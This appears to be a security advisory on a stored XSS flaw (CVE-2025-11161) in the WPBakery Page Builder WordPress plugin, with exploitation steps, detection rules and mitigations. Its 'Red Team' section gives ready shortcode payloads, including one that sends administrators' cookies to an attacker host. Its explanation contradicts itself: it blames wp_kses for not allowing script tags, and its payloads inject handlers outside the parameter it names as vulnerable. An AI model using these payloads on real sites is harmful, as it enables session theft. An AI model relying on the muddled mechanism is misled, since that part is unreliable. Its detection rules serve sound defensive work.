CVE-2025-11161

Executive Summary

CVE-2025-11161 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Page Builder plugin for WordPress, affecting all versions up to and including 8.6.1. The flaw resides in the vc_custom_heading shortcode, specifically within the font_container parameter. Due to insufficient restriction of allowed HTML tags and improper sanitization of user-supplied attributes, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode, provided the attacker has permission to use WPBakery shortcodes. The vulnerability has a CVSS score of 6.4 (Medium), with a public proof-of-concept available. No official patch has been released at this time.

WordPress Ecosystem Context

This vulnerability is specific to the WPBakery Page Builder plugin, a popular commercial page builder for WordPress. It does not affect core WordPress or server software like Apache or Nginx. The attack vector relies on the plugin’s shortcode processing, which fails to properly sanitize user input in the font_container parameter.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or higher)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for authenticated access and the limited impact on confidentiality and integrity. However, the ability to execute arbitrary scripts in the context of other users’ sessions can lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability is triggered by the vc_custom_heading shortcode, which allows users to create custom headings with various styling options. The font_container parameter is used to define font properties such as family, size, and color. The plugin fails to properly sanitize and restrict HTML tags within this parameter, allowing an attacker to inject malicious HTML and JavaScript.

Root Cause:

• The plugin uses wp_kses or similar functions but does not include dangerous tags like <script> or event handlers in the allowed list.
• The font_container parameter is processed without adequate validation, enabling the injection of arbitrary attributes like onmouseover or onclick.

Attack Flow:

1. An authenticated user with contributor-level access creates a new post or page.
2. The user inserts the vc_custom_heading shortcode with a crafted font_container parameter containing malicious JavaScript.
3. The malicious script is stored in the WordPress database.
4. When any user (including administrators) views the page, the script executes in their browser.

Example Payload:

[vc_custom_heading font_container="tag:h2|font_size:20|text_align:left|color:#ff0000" text="Click me" onclick="alert('XSS')"]

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is present in all versions up to 8.6.1. The issue lies in the shortcode handler for vc_custom_heading. Below is a simplified representation of the vulnerable logic:

Vulnerable Code (wp-content/plugins/js_composer/include/params/vc_grid_item/shortcodes/vc_custom_heading.php):

function vc_custom_heading_render($atts, $content = null) {
    extract(shortcode_atts(array(
        'font_container' => '',
        'text' => '',
    ), $atts));
    // Directly outputting font_container without sanitization
    $style = vc_parse_font_container($font_container);
    return '<div style="' . $style . '">' . esc_html($text) . '</div>';
}

Patched Code (Hypothetical):

function vc_custom_heading_render($atts, $content = null) {
    extract(shortcode_atts(array(
        'font_container' => '',
        'text' => '',
    ), $atts));
    // Sanitize font_container to allow only safe CSS properties
    $style = vc_sanitize_font_container($font_container);
    return '<div style="' . esc_attr($style) . '">' . esc_html($text) . '</div>';
}

The patched version would use esc_attr() on the style output and restrict allowed CSS properties to prevent injection of event handlers or script tags.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with WPBakery Page Builder <= 8.6.1
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post and switch to Text/HTML mode.
3. Insert the following shortcode:

   [vc_custom_heading font_container="tag:h2|font_size:20|text_align:left|color:#ff0000" text="Click me" onclick="alert(document.cookie)"]
   

4. Publish the post.
5. When an administrator views the post, the script executes, displaying their cookies.

Advanced Payload (Session Hijacking):

[vc_custom_heading font_container="tag:h2|font_size:20|text_align:left|color:#ff0000" text="Click me" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team (Defensive)

Detection:

• Monitor for posts containing vc_custom_heading shortcode with suspicious attributes.
• Use WAF rules to block requests with on* attributes in shortcode parameters.

Lab Setup:

1. Install WordPress and WPBakery Page Builder 8.6.1.
2. Create a contributor user.
3. Use the above payload to test detection mechanisms.

Mitigation:

• Disable the vc_custom_heading shortcode for untrusted users via a custom plugin.
• Apply input validation to strip event handlers from shortcode parameters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing vc_custom_heading with on* attributes (e.g., onclick, onmouseover).
  • Outbound connections to attacker-controlled domains from WordPress admin pages.

• Host IOCs:

  • Posts or pages containing the shortcode [vc_custom_heading with suspicious font_container values.
  • Modified database entries in wp_posts table with malicious shortcode.

• File IOCs:

  • No specific file changes; the vulnerability is exploited via stored content.

Detection Engineering

YARA Rule

rule CVE_2025_11161_WPBakery_XSS {
    meta:
        description = "Detects stored XSS payloads targeting WPBakery vc_custom_heading shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11161"
    strings:
        $shortcode = /\[vc_custom_heading[^\]]*font_container[^\]]*on\w+\s*=/ nocase
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/ nocase
    condition:
        $shortcode and $event_handler
}

Sigma Rule

title: CVE-2025-11161 WPBakery Stored XSS Detection
id: 8a3f2c1e-5d7b-4a9c-8e6f-2b1d3c4a5e6f
status: experimental
description: Detects stored XSS via vc_custom_heading shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'vc_custom_heading'
        cs-uri-query|re: 'font_container.*on\w+='
    condition: selection
falsepositives:
    - Legitimate use of event handlers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11161 WPBakery Stored XSS Attempt"; flow:to_server,established; content:"vc_custom_heading"; http_uri; pcre:"/font_container[^&]*on\w+=/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vc_custom_heading shortcode for non-admin users by adding a custom plugin that removes the shortcode:

   add_shortcode('vc_custom_heading', '__return_false');
   

2. Apply a WAF rule to block requests containing on* attributes in shortcode parameters.
3. Restrict contributor permissions to prevent use of WPBakery shortcodes if not required.

Long-Term Fix:

• Monitor the WPBakery vendor for an official patch and apply it immediately upon release.
• Consider migrating to an alternative page builder with better security practices.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert